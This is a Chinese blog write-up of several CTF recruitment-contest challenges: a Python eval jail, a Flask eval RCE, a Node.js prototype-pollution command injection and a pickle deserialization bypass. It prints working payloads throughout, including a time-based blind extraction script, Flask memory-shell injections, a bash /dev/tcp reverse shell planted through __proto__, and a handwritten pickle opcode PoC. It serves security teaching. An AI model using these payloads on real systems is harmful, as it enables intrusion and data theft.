Misc
鼠鼠(Original)
不要伤害鼠鼠🥺
> 该题目取材自真实事件(笑# 附件
from secret import flag
from Crypto.Util.number import *
import random
lower_bound = 2**135
upper_bound = 2**136
num = bytes_to_long(flag)
n = random.randint(lower_bound, upper_bound)
for i in range(135):
receive = eval(input('>>> ')) #以列表形式输入,如[123456789,987654321,...]
if num in receive:
print('1')
else:
print('0')
#给我分组,我会返回你小鼠是否还活着,活着用1,死了用0🤗为什么说这道题取材自真实事件呢,大概是这样的:
(曾经的)密码大手子linsheng,在给招新赛出题时,想出一道容器题,除了密码知识以外顺便考察一下大家对pwntools等库的使用,于是他将初版代码发给了我们——


如图所示,由于使用了eval()对用户的输入进行处理,导致出现沙箱逃逸漏洞(Python Jail, aka pyjail)。用户输入的数据被python的解释器直接执行了!(可千万不要把eval想成仅仅是去掉引号的函数)
最终,上述的题目在经过修补后在24年下半年的实验室招新赛上线。

一年过后,偶然回想起这次有趣的交流,感觉可以再把鼠鼠出到招新赛里,不过这次是misc(什么叫做传承!!!)
不过吧,如果只是一句print就出flag的话🤔是不是太简单了,好像并没有考察到什么东西,而且ai一下就秒了。

于是,我把原本的密码题里的flag替换成的 fake flag,并将真flag写到了根目录,算是加了点难度。
不过,只要是了解过沙箱逃逸或者对Python语法比较懂的,感觉这也就是道入门题,一点过滤都没有,于是我给定了个Easy难度(
好了下面是正式的题解了
使用 __import__('os').system('ls /') 即可列出根目录文件
__import__('os').system('cat /340b72101d7_flag') 读取flag

想了解更多pyjail相关知识:https://www.cnblogs.com/N1ng/p/18491520
Web
ezpython
非常简单的RCE!!但是,系统似乎出了些问题,你还能拿到flag吗?(没想到跟一道re题目重名了喵喵喵)
这道题出的也是有些曲折的。
题目最初的设想是:考察选手遇到命令执行但是不出网无回显且没有静态资源目录情况下的解决办法
预期解:sleep盲注出flag或注入内存马
🤔但是在出题过程中发现了问题——GZCTF平台不支持对单个题目设置是否出网。
🤔我又不想出公共容器,那样不同选手之间容易相互干扰。
🤔于是我想到了一种取巧的办法——删掉容器中可以联网的工具
cat /dev/null > /etc/resolv.conf
cat /dev/null > /etc/hosts
rm -f /bin/curl
rm -f /bin/wget
rm -f /bin/ping
rm -f /usr/bin/nc就在我以为大功告成的时候,忽然意识到shell也可以连网啊,反弹shell这不是秒了吗!🥲
于是又加了几句:
rm -f /bin/bash
rm -f /bin/sh
rm -f /bin/dash🤔说实话这时候已经有点抽象了,这玩意儿不会让程序出bug跑不起来吧。
🤓👆欸您猜怎么着,程序照常运行,不过就是os.system之类的会启动新进程的方法不能用了罢了
正合我意,正合我意讷👏👏👏
(下面是正式的题解了)
题目访问直接给出源码
from flask import Flask, request, Response
import os
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
try:
with open(__file__, 'r') as f:
source_code = f.read()
return Response(source_code, mimetype='text/plain')
except Exception as e:
return "Error reading source code"
@app.route('/execute', methods=['POST'])
def execute():
cmd = request.form.get('cmd')
if not cmd:
return "Please provide a command."
try:
eval(cmd)
return "Command Executed."
except Exception:
return "Command Executed."
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080, debug=False)一共两个路由,/路由会返回当前文件内容,/execute接收一个POST参数,使用eval()进行了代码执行
【解法一】
可以使用时间盲注爆出flag,注意由于“系统似乎出了些问题”,不能使用os模块的方法执行shell命令,只能用python自带模块读取目录和文件。
下面给出盲注脚本
import requests
import time
import string
import sys
# ================= 配置区域 =================
URL = "http://127.0.0.1:19292/execute"
SLEEP_TIME = 1.5
TIMEOUT = 3
# ===========================================
def run_python_blind(expression_template, task_name):
"""
通用 Python 表达式盲注函数
"""
print(f"[*] 开始任务: {task_name}")
print("[+] 获取结果: ", end='', flush=True)
extracted_str = ""
index = 0
# 字符集:Python list 的字符串表示包含 '[' ']' ',' "'" 和空格,以及文件名字符
charset = string.ascii_letters + string.digits + "_{}./- []',"
while True:
found_char = False
for char in charset:
char_code = ord(char)
# 核心 Payload:
# 1. 计算表达式 expression_template (例如 open('/flag').read())
# 2. 取第 index 位
# 3. 转 ord() 对比
payload = (
f"__import__('time').sleep({SLEEP_TIME}) "
f"if ord({expression_template}[{index}]) == {char_code} "
f"else 0"
)
data = {'cmd': payload}
try:
start_time = time.time()
requests.post(URL, data=data, timeout=TIMEOUT)
end_time = time.time()
if end_time - start_time >= SLEEP_TIME:
extracted_str += char
sys.stdout.write(char)
sys.stdout.flush()
found_char = True
break
except requests.exceptions.ReadTimeout:
# 超时视为成功
extracted_str += char
sys.stdout.write(char)
sys.stdout.flush()
found_char = True
break
except Exception:
pass
if not found_char:
break
index += 1
print(f"\n[*] {task_name} 结束")
return extracted_str
if __name__ == "__main__":
# Step 1: 盲注目录列表
# dir_payload = "str(__import__('os').listdir('/'))"
# dir_output = run_python_blind(dir_payload, "List Dir")
# print(f"当前目录结构: {dir_output}")
print("\n" + "="*30) # ----------------------------分割线------------------------------
# Step 2: 提取flag
# target_file = input("请输入通过上方列表发现的 Flag 文件路径 (如 /flag): ").strip()
target_file = "/zflag"
if target_file:
file_payload = f"open('{target_file}').read()"
run_python_blind(file_payload, "Read File")
else:
print("无文件名,退出。")【解法二】非预期解
注意到/路由的作用是 “读取当前文件内容并返回”,而当前的flask程序没有开启debug,所以可以把命令执行的结果写入当前文件而不会使程序崩溃,访问/路由时,内存中的程序会读取最新的当前文件的内容并返回,从而得到指令的回显。
也就是说,程序源码文件可以成为命令执行回显使用的“静态文件”。


【解法三】内存马
说实话,由于不能直接执行系统命令,内存马在这里不是那么好用,也就是单纯的能回显而已。
下面给出一种注入内存马的payload,可以在任何一个404页面执行命令。
(服务端Flask版本3.1.2 ,注意网上的有些payload不适用于新版本)
# ↓ 命令执行的payload,不适用于本题,仅做示例。
setattr(app, 'handle_user_exception', lambda e: __import__('flask').make_response(__import__('os').popen(__import__('flask').request.args.get('cmd', 'whoami')).read()))
# ↓ 代码执行的payload
setattr(app, 'handle_user_exception', lambda e: __import__('flask').make_response(eval(__import__('flask').request.args.get('cmd'))))
Log Jam
为了提高运维效率,我们的新应用上线了一个动态日志服务。管理员可以通过API实时调整服务的日志配置,非常方便。我们对我们自研的核心配置合并模块充满信心,它高效、简洁且……绝对安全。
你的任务是审计这个服务,找到其中的秘密。Flag就在服务器的 /flag 文件中。考察知识点: 原型链污染 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
// 附件
const express = require('express');
const bodyParser = require('body-parser');
const { execSync } = require('child_process');
const app = express();
app.use(bodyParser.json());
function deepMerge(target, source) {
for (const key in source) {
if (Object.prototype.hasOwnProperty.call(source, key)) {
if (typeof target[key] === 'object' && target[key] !== null &&
typeof source[key] === 'object' && source[key] !== null) {
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
}
let logConfig = {
level: 'info',
output: {
type: 'file',
path: '/var/log/app.log'
}
};
app.post('/api/update-config', (req, res) => {
const userConfig = req.body;
console.log('Received new config chunk:', userConfig);
deepMerge(logConfig, userConfig);
res.json({
status: 'success',
message: 'Log configuration updated!',
currentConfig: logConfig
});
});
app.get('/', (req, res) => {
res.type('text').send('Dynamic Logging Service is running.');
});
const maintenanceScripts = {
'archive': 'echo "Archiving logs..."',
'rotate': 'echo "Rotating logs..."'
};
function runMaintenance() {
console.log('Running scheduled log maintenance...');
for (const taskName in maintenanceScripts) {
try {
console.log(`Executing task: ${taskName}`);
execSync(maintenanceScripts[taskName]);
} catch (e) {
console.error(`Task ${taskName} failed:`, e.message);
}
}
console.log('Maintenance finished.');
}
setInterval(runMaintenance, 20000);
app.listen(3020, () => {
console.log('Server is running on port 3020');
});核心部分 server.js 的代码是一个基于 Node.js 的 Express 应用程序,实现了一个“动态日志配置服务”,允许通过 HTTP 接口更新日志配置,并定时执行维护脚本。但其中存在严重的安全漏洞,尤其是原型链污染 + 命令注入组合型漏洞。
代码解析:
| 行号 | 代码片段 | 功能说明 | 安全关注点 |
|---|---|---|---|
1-3 | require('express'), body-parser, child_process | 引入 Web 框架、JSON 解析中间件、系统命令执行模块 | |
6-17 | deepMerge() 函数 | 递归合并对象:若 target[key] 和 source[key] 均为对象,则继续递归;否则直接赋值 | ⚠️ 无类型校验、无原型键过滤 → 原型污染温床 |
19-24 | logConfig 初始化 | 默认日志配置对象 | 📌 可被 deepMerge 污染的目标对象 |
26-35 | /api/update-config POST 接口 | 接收用户 JSON 输入,调用 deepMerge(logConfig, userConfig) 合并配置 | 🔥 污染入口点:userConfig 完全可控 |
37-39 | / GET 接口 | 健康检查接口,无风险 | |
41-45 | maintenanceScripts 对象 | 预定义两个维护脚本字符串 | ⚠️ 若 maintenanceScripts 被污染篡改,即可注入任意命令 |
47-56 | runMaintenance() 函数 | 遍历 maintenanceScripts 的每个 key(如 'archive'),执行 execSync(maintenanceScripts[taskName]) | 💀 RCE 触发点:execSync() 直接执行字符串,无任何过滤/转义 |
58 | setInterval(runMaintenance, 20000) | 每 20 秒自动调用 runMaintenance() | 🔄 定时器使 RCE 具备“持久化”和“延迟触发”特性 |
60 | app.listen(3020) | 启动服务监听 3020 端口 |
利用链:
graph LR
A[攻击者发送恶意 userConfig] --> B[deepMerge 污染 Object.prototype]
B --> D[maintenanceScripts 继承污染属性]
D --> E[runMaintenance 遍历执行 execSync]
E --> F[远程命令执行]回显方式什么样的都行,此处以反弹shell为例:
- 公网服务器启动监听:
nc -lvnp 20015- 发送 POST 请求污染原型并注入恶意脚本名:
POST /api/update-config HTTP/1.1
Host: ip:port
Content-Type: application/json
{
"__proto__": {
"reverse_shell": "bash -c 'bash -i >& /dev/tcp/your-ip/20015 0>&1'"
}
}
- 等待定时任务触发

profile
为了给您提供极致的个性化体验,我们开发了一套先进的配置系统。您可以自由设置您的用户名和界面主题色,并将这些偏好“导出”为一串配置数据,以便在任何设备上快速“导入”和恢复。考察知识点:pickle反序列化
题目功能点只有两个:一个是导出配置,一个是导入配置。

将生成的配置信息base64解码查看,发现是pickle生成的序列化数据。(当然也可以通过页面下方的提示猜出来)


那么很显然,此处对用户输入的字符串会进行反序列化,从而产生漏洞。
pickle反序列化不了解的请参考文章:
https://zhuanlan.zhihu.com/p/89132768
题目对一些敏感词进行了过滤,防止使用reduce方法直接生成序列化字符串,需要手写opcode。如下图。

不过没想到现在AI这么猛,手写opcode也能搓(虽然我没有设太多的过滤词,但那样就太难了

此处源码中模块名过滤了os和subprocess,opcode过滤了R。(选手虽然没有源码,但是可以看报错)
绕过方式不唯一,我这里使用的是i操作码,理论上使用o操作码和b操作码也行,具体用法请看前面提到的文章。
poc:
import base64
payload = b'''(S"__import__('os').popen('whoami').read()"
ibuiltins
eval
.'''
print(base64.b64encode(payload).decode()) 声明:
确石如此 | 版权所有,违者必究 | 如未注明,均为原创 | 本站采用 BY-NC-SA4.0 协议进行授权
|
转载请注明原文链接